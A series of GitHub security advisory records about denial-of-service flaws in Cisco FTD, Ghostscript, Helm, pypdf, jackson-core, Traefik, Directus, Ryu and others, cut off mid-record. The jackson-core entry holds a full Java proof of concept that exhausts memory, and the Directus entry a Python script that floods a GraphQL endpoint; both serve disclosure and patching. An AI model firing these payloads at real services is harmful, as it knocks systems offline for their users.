{
  "affected": [],
  "aliases": [
    "CVE-2019-1703"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-03T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the internal packet-processing functionality of Cisco Firepower Threat Defense (FTD) Software for the Cisco Firepower 2100 Series could allow an unauthenticated, remote attacker to cause an affected device to stop processing traffic, resulting in a denial of service (DoS) condition. The vulnerability is due to a logic error, which may prevent ingress buffers from being replenished under specific traffic conditions. An attacker could exploit this vulnerability by sending a series of crafted packets to an affected device. A successful exploit could allow the attacker to consume all input buffers, which are shared between all interfaces, leading to a queue wedge condition in all active interfaces. This situation would cause an affected device to stop processing any incoming traffic and result in a DoS condition until the device is reloaded manually.",
  "id": "GHSA-7h96-458w-8p54",
  "modified": "2026-08-11T21:31:33Z",
  "published": "2022-05-24T16:45:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1703"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190501-frpwr-dos"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108170"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-27792"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119",
      "CWE-122",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-19T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "A heap-based buffer over write vulnerability was found in GhostScript\u0027s lp8000_print_page() function in gdevlp8k.c file. An attacker could trick a user to open a crafted PDF file, triggering the heap buffer overflow that could lead to memory corruption or a denial of service.",
  "id": "GHSA-7h9w-vh8m-rj5g",
  "modified": "2025-04-30T12:31:21Z",
  "published": "2022-08-20T00:00:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27792"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:4362"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2020-27792"
    },
    {
      "type": "WEB",
      "url": "https://bugs.ghostscript.com/show_bug.cgi?id=701844"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2247179"
    },
    {
      "type": "WEB",
      "url": "https://git.ghostscript.com/?p=ghostpdl.git%3Ba=commitdiff%3Bh=4f6bc662909ab79e8fbe9822afb36e8a0eafc2b7"
    },
    {
      "type": "WEB",
      "url": "https://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=4f6bc662909ab79e8fbe9822afb36e8a0eafc2b7"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/09/msg00005.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "helm.sh/helm/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-36055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-08-30T20:52:31Z",
    "nvd_published_at": "2022-09-01T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Fuzz testing, by Ada Logics and sponsored by the CNCF, identified input to functions in the `_strvals_` package that can cause an out of memory panic. Out of memory panics cannot be recovered from. Applications that use functions from the `_strvals_` package in the Helm SDK can have a Denial of Service attack when they use this package and it panics.\n\n### Impact\n\nThe `_strvals_` package contains a parser that turns strings into Go structures. For example, the Helm client has command line flags like `--set`, `--set-string`, and others that enable the user to pass in strings that are merged into the values. The `_strvals_` package converts these strings into structures Go can work with. Some string inputs can cause array data structures to be created causing an out of memory panic.\n\nApplications that use the `_strvals_` package in the Helm SDK to parse user supplied input can suffer a Denial of Service when that input causes a panic that cannot be recovered from.\n\nThe Helm Client will panic with input to `--set`, `--set-string`, and other value setting flags that causes an out of memory panic. Helm is not a long running service so the panic will not affect future uses of the Helm client.\n\n### Patches\n\nThis issue has been resolved in 3.9.4. \n\n### Workarounds\n\nSDK users can validate strings supplied by users won\u0027t create large arrays causing significant memory usage before passing them to the `_strvals_` functions.\n\n### For more information\n\nHelm\u0027s security policy is spelled out in detail in our [SECURITY](https://github.com/helm/community/blob/master/SECURITY.md) document.\n\n### Credits\n\nDisclosed by Ada Logics in a fuzzing audit sponsored by CNCF.",
  "id": "GHSA-7hfp-qfw3-5jxh",
  "modified": "2023-08-30T18:43:09Z",
  "published": "2022-08-30T20:52:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/security/advisories/GHSA-7hfp-qfw3-5jxh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36055"
    },
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/commit/10466e3e179cc8cad4b0bb451108d3c442c69fbc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/helm/helm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/releases/tag/v3.9.4"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2022-0962"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Helm Vulnerable to denial of service through string value parsing"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pypdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-13T19:51:24Z",
    "nvd_published_at": "2025-08-13T23:15:27Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nAn attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires just reading the file if a series of FlateDecode filters is used on a malicious cross-reference stream. Other content streams are affected on explicit access.\n\n### Patches\nThis has been fixed in [pypdf==6.0.0](https://github.com/py-pdf/pypdf/releases/tag/6.0.0).\n\n### Workarounds\nIf you cannot upgrade yet, you might want to implement the workaround for `pypdf.filters.decompress` yourself: https://github.com/py-pdf/pypdf/blob/0dd57738bbdcdb63f0fb43d8a6b3d222b6946595/pypdf/filters.py#L72-L143\n\n### References\nThis issue has been reported in #3429 and fixed in #3430.",
  "id": "GHSA-7hfw-26vp-jp8m",
  "modified": "2025-08-14T13:31:08Z",
  "published": "2025-08-13T19:51:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-7hfw-26vp-jp8m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55197"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/issues/3429"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/pull/3430"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/py-pdf/pypdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/blob/0dd57738bbdcdb63f0fb43d8a6b3d222b6946595/pypdf/filters.py#L72-L143"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/releases/tag/6.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PyPDF\u0027s Manipulated FlateDecode streams can exhaust RAM"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.21.6"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.22.2"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.22.0"
            },
            {
              "fixed": "2.22.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.6"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.2.2"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.18.10"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.18.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-89425"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-01T15:20:27Z",
    "nvd_published_at": "2026-09-23T03:17:04Z",
    "severity": "HIGH"
  },
  "details": "## Status\n\n**FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a\n20,000,109-character exception message from a 20-million-character attacker payload, while the\nidentical payload fed through `createParser(InputStream)` produced a correctly bounded\n367-character message.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java`\n  (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree)\n\n## Technical Analysis\n\n`UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its\nexception message by appending identifier characters one at a time to a bare `StringBuilder`:\n\n```java\nprotected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {\n    StringBuilder sb = new StringBuilder(matchedPart);\n    while (true) {\n        char c = (char) _decodeCharForError(ch);\n        if (!Character.isJavaIdentifierPart(c)) {\n            break;\n        }\n        sb.append(c);\n        ch = _inputData.readUnsignedByte();\n    }\n    _reportError(\"Unrecognized token \u0027\"+sb.toString()+\"\u0027: was expecting \"+msg);\n}\n```\n\nThere is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256)\nanywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the\nsame logic does enforce it:\n\n```java\n// UTF8StreamJsonParser.java (control, correctly bounded)\nif (sb.length() \u003e= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {\n    sb.append(\"...\");\n    break;\n}\n```\n\n`ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit \u2014\nthis is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by\ndirect comparison of all four parser implementations in this tree.\n\nThis path is additionally left with **no fallback control**: because of `[core#1570]`-related\nlogic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser\ncreation to be rejected outright, so a document-length backstop cannot coexist with this input\nsource, and the identifier-character accumulation never passes through\n`ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no\nconfiguration an application can set to mitigate this specific path.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java\njava -Xmx2g -cp \"poc:$CP\" PoC6_UnboundedErrorTokenStringBuilder\n```\n\n## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`)\n\n```java\nimport com.fasterxml.jackson.core.*;\n\nimport java.io.DataInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\npublic class PoC6_UnboundedErrorTokenStringBuilder {\n\n    static class RepeatingByteInputStream extends InputStream {\n        private final int b;\n        private long remaining;\n        RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }\n        @Override public int read() {\n            if (remaining \u003c= 0) return -1;\n            remaining--;\n            return b;\n        }\n    }\n\n    public static void main(String[] args) throws Exception {\n        final long IDENTIFIER_CHAR_COUNT = 20_000_000L;\n\n        System.out.println(\"Malformed token: \\\"t\\\" followed by \" + IDENTIFIER_CHAR_COUNT\n                + \" Java-identifier characters (\u0027x\u0027), then a terminating space, never completing\"\n                + \" \\\"true\\\"/\\\"false\\\"/\\\"null\\\"/NaN.\\n\");\n\n        System.out.println(\"=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\");\n        {\n            InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n                    new RepeatingByteInputStream(\u0027x\u0027, IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n            DataInputStream dataIn = new DataInputStream(raw);\n            JsonFactory factory = new JsonFactory();\n            JsonParser p = factory.createParser((java.io.DataInput) dataIn);\n\n            long heapBefore = usedHeap();\n            long t0 = System.nanoTime();\n            String message = null;\n            try {\n                p.nextToken(); p.nextToken(); p.nextToken();\n            } catch (JsonParseException e) {\n                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n            } catch (IOException e) {\n                message = \"(stream ended: \" + e + \")\";\n            }\n            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n            long heapAfter = usedHeap();\n\n            int msgLen = message == null ? -1 : message.length();\n            System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n            System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n            System.out.println(\"Approx additional heap used: \" + ((heapAfter - heapBefore) / (1024 * 1024)) + \" MB\");\n            System.out.println(\"Message length proportional to the full \" + IDENTIFIER_CHAR_COUNT\n                    + \"-character payload (unbounded)? \" + (msgLen \u003e 1_000_000));\n        }\n\n        System.out.println(\"\\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\");\n        {\n            InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n                    new RepeatingByteInputStream(\u0027x\u0027, IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n            JsonFactory factory = new JsonFactory();\n            JsonParser p = factory.createParser(raw);\n\n            long t0 = System.nanoTime();\n            String message = null;\n            try {\n                p.nextToken(); p.nextToken(); p.nextToken();\n            } catch (JsonParseException e) {\n                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n            } catch (IOException e) {\n                message = \"(stream ended: \" + e + \")\";\n            }\n            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n            int msgLen = message == null ? -1 : message.length();\n            System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n            System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n            System.out.println(\"Message length bounded near default maxErrorTokenLength (256)? \" + (msgLen \u003c 500));\n        }\n    }\n\n    static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {\n        InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);\n        return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));\n    }\n\n    static long usedHeap() {\n        Runtime rt = Runtime.getRuntime();\n        System.gc();\n        return rt.totalMemory() - rt.freeMemory();\n    }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nMalformed token: \"t\" followed by 20000000 Java-identifier characters (\u0027x\u0027), then a terminating\nspace, never completing \"true\"/\"false\"/\"null\"/NaN.\n\n=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\nException message length: 20000109 characters\nElapsed time: 81 ms\nApprox additional heap used (best-effort, GC-noisy): 38 MB\nMessage length is proportional to the full 20000000-character attacker payload (unbounded)? true\n\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\nException message length: 367 characters\nElapsed time: 7 ms\nMessage length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true\n```\n\nThe same 20-million-character malformed token, fed to the two parser variants, produces a\n367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character\nmessage via the vulnerable `DataInput` path \u2014 a difference of roughly 54,500x for identical\ninput, confirming the missing bound is the sole cause of the difference.\n\n## Impact\n\nAny application creating parsers via `JsonFactory.createParser(DataInput)` over\nattacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth\nfrom a single malformed token. Scaling the payload from the 20MB demonstrated here to\ngigabytes (well within a typical unbounded request body) would drive the accumulated\n`StringBuilder` \u2014 which additionally undergoes byte-to-char expansion and internal doubling \u2014\nto consume many times the raw payload size, realistically triggering `OutOfMemoryError` and\ndenying service to the whole JVM process. Critically, **no available configuration mitigates\nthis**: `maxDocumentLength` cannot be set for `DataInput` sources at all, and `maxStringLength`\ndoes not apply to this code path.\n\n## Remediation\n\n1. Add the `maxErrorTokenLength` check to the append loop in\n   `UTF8DataInputJsonParser._reportInvalidToken()`, appending `\"...\"` and breaking when the\n   limit is reached \u2014 mirroring the three other parser implementations exactly.\n2. Add a parameterized regression test across all four parser implementations asserting the\n   exception message length is bounded by `maxErrorTokenLength` plus a small constant.\n3. Consider extracting this bounded-scan logic into a single shared helper on\n   `ParserMinimalBase` to prevent this class of per-implementation drift recurring.",
  "id": "GHSA-7hhh-6rmp-j9qf",
  "modified": "2026-10-01T15:20:27Z",
  "published": "2026-10-01T15:20:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-7hhh-6rmp-j9qf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89425"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/pull/1698"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/211cf2c5d91abbec38067f37efc1363cd4e88ee3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-2.18.11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-3.2.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -\u003e unbounded StringBuilder growth (DoS)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0-rc1"
            },
            {
              "fixed": "2.10.0-rc2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.10.0-rc1"
      ]
    }
  ],
  "aliases": [
    "CVE-2023-29013"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-11T20:59:22Z",
    "nvd_published_at": "2023-04-14T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThere is a vulnerability in [Go when parsing the HTTP headers](https://groups.google.com/g/golang-announce/c/Xdv6JL9ENs8/m/OV40vnafAwAJ), which impacts Traefik.\nHTTP header parsing could allocate substantially more memory than required to hold the parsed headers. This behavior could be exploited to cause a denial of service.\n\n### References\n\n- [CVE-2023-24534](https://www.cve.org/CVERecord?id=CVE-2023-24534)\n\n### Patches\n- https://github.com/traefik/traefik/releases/tag/v2.9.10\n- https://github.com/traefik/traefik/releases/tag/v2.10.0-rc2\n\n### Workarounds\n\nNo workaround.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).",
  "id": "GHSA-7hj9-rv74-5g92",
  "modified": "2025-02-13T18:53:59Z",
  "published": "2023-04-11T20:59:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-7hj9-rv74-5g92"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29013"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/4ed3964b3586565519249bbdc55eb1b961c08c49"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8v5j-pwr7-w5f8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.10.0-rc2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.9.10"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/Xdv6JL9ENs8/m/OV40vnafAwAJ"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230517-0008"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Traefik HTTP header parsing could cause a denial of service "
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-19153"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-11-05T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "particl through 0.17 (a chain-based proof-of-stake cryptocurrency) allows a remote denial of service. The attacker sends invalid headers/blocks. The attack requires no stake and can fill the victim\u0027s disk and RAM.",
  "id": "GHSA-7hm5-hf53-p62v",
  "modified": "2024-04-04T02:38:03Z",
  "published": "2022-05-24T17:00:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19153"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/%40dsl_uiuc/fake-stake-attacks-on-chain-based-proof-of-stake-cryptocurrencies-b8b05723f806"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@dsl_uiuc/fake-stake-attacks-on-chain-based-proof-of-stake-cryptocurrencies-b8b05723f806"
    },
    {
      "type": "WEB",
      "url": "http://fc19.ifca.ai/preproceedings/180-preproceedings.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@directus/env"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-39895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-08T18:41:00Z",
    "nvd_published_at": "2024-07-08T17:15:11Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.\n\n### Details\nRequest to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:\n![image](https://github.com/directus/directus/assets/114263468/185eb60f-9092-47d4-81f4-add1a53e99c8)\n\n![DoS5](https://github.com/directus/directus/assets/114263468/f43079f5-b9ab-4704-938f-dcb91453d464)\n\n\nBy modifying the data sent and duplicating many times the fields a DoS attack is possible. \n\n### PoC\nThe goal is to create a payload that generates a body like this, where the \u0027max\u0027 field is duplicated many times, each with the \u0027id\u0027 field duplicated many times inside it.\n`{\u0027query\u0027: \u0027query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  }  } }\u0027}`\n\nAlthough that payload seems harmless, a bigger one leaves the service unresponsive. \n\nThe following code might serve as a PoC written in Python3:\n```# Field Duplication DoS \n# GitHub @asantof\n\nimport requests\n\n## CHANGE THIS VALUES: url, auth_token, query_name, collection_name\nurl = \u0027http://0.0.0.0:8055/graphql\u0027\nauth_token = \u0027\u0027 \nquery_name = \u0027query_XXXXX\u0027 \ncollection_name = \u0027\u0027  \n\nheaders = {\n    \u0027Content-Type\u0027: \u0027application/json\u0027,\n    \u0027Authorization\u0027: f\u0027Bearer {auth_token}\u0027,\n}\n\nid_payload = \u0027id \u0027 * 200\nmax_payload = \u0027max {\u0027 + id_payload + \u0027 } \u0027\nfull_payload = max_payload * 200\n\ndata = {\n    \u0027query\u0027: \u0027query { \u0027 + query_name + \u0027: \u0027 + collection_name + \u0027_aggregated { \u0027 + full_payload + \u0027 } }\u0027\n}\n\nprint(data)\n\nresponse = requests.post(url, headers=headers, json=data)\n\nprint(response.json())\n```\n\n![DoS4](https://github.com/directus/directus/assets/114263468/965e50bc-24dc-405c-a0f1-c973bd4f378d)\n\n\nAfter running it the service will be unresponsive for a while:\n![DoS](https://github.com/directus/directus/assets/114263468/9865acc1-9b82-4d3d-8929-cf32500ce14d)\n\n\n### Impact\nThe vulnerability impacts the service\u0027s availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.",
  "id": "GHSA-7hmh-pfrp-vcx4",
  "modified": "2024-11-18T16:26:50Z",
  "published": "2024-07-08T18:41:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/security/advisories/GHSA-7hmh-pfrp-vcx4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39895"
    },
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/commit/543b345695071c1de61a35004bd063fe59dba0c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/directus/directus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Directus GraphQL Field Duplication Denial of Service (DoS)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ryu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34483"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-06T14:30:04Z",
    "nvd_published_at": "2024-05-05T02:15:06Z",
    "severity": "HIGH"
  },
  "details": "`OFPGroupDescStats` in parser.py in Faucet SDN Ryu 4.34 allows attackers to cause a denial of service (infinite loop) via `OFPBucket.len=0`.",
  "id": "GHSA-7hmm-wg23-2w7m",
  "modified": "2024-07-03T20:13:41Z",
  "published": "2024-05-05T03:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34483"
    },
    {
      "type": "WEB",
      "url": "https://github.com/faucetsdn/ryu/issues/193"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/faucetsdn/ryu"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ryu Infinite Loop vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
